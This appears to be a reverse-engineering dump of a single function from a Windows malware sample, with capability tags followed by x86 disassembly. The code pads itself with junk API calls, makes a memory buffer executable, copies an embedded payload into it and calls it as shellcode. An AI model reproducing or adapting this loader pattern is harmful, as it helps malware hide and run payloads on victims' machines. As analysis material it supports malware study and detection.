Function at 0x404606
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x404633
inc edi
cmp edi, 0x67d12
jl 0x404616
cmp dword [0x282879c], 0x93
jne 0x40475f
push 0x404008
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push 0x404020
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
push esi
push 0x404044
push 0x404078
push 0x4040d0
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push esi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push 0x404124
push esi
call fcn.00405281
push esi
call fcn.00404b24
push esi
push esi
call fcn.0040518a
push esi
push esi
call fcn.00405298
push esi
call fcn.00405150
push esi
push esi
call fcn.0040517f
push 0xc
call fcn.004059e7
mov edi, eax
add esp, 0x2c
cmp edi, esi
je 0x404915
mov dword [edi], edi
mov dword [edi + 4], edi
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x404758
mov ebx, dword [eax]
push eax
call fcn.004053a4
pop ecx
mov eax, ebx
cmp ebx, edi
jne 0x404749
push edi
call fcn.004053a4
pop ecx
mov eax, dword [0x430c64]
add dword [0x282879c], 0x1134b
push 0x404128
mov dword [0x28295d8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x404144
push eax
mov dword [0x282822c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x282879c]
mov dword [0x2828220], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x282879c]
mov dword [0x2828228], eax
push eax
call dword [0x2828220]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x4047be
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x282879c], esi
jbe 0x40483e
mov eax, dword [0x28295d8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2828228]
mov byte [ecx + edi], al
cmp dword [0x282879c], 0x490
jne 0x404835
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call ebx
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x282879c]
jb 0x4047ec
xor edi, edi
mov eax, dword [0x282879c]
add eax, edi
cmp eax, 0x8d
jne 0x40487f
push esi
lea eax, [ebp - 0x42c]
push eax
push esi
push 0x404154
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push 0x404158
push 0x404170
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x404840
call fcn.0040452d
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x4048ad
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x6144
mov eax, dword [ebp - 4]
add dword [0x2828228], eax
inc edi
cmp edi, 0x674bd
jl 0x40488f
push 0x7b
pop edi
cmp dword [0x282879c], 0x86
jne 0x404900
push esi
push esi
push esi
push esi
push esi
push esi
push 0x404190
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthW]
dec edi
jne 0x4048b9
push 0x4041c8
call ebx
call dword [0x2828228]
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], esi
call fcn.00404bd4
push 0x42b698
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], 0x40133c
call fcn.00409556
int3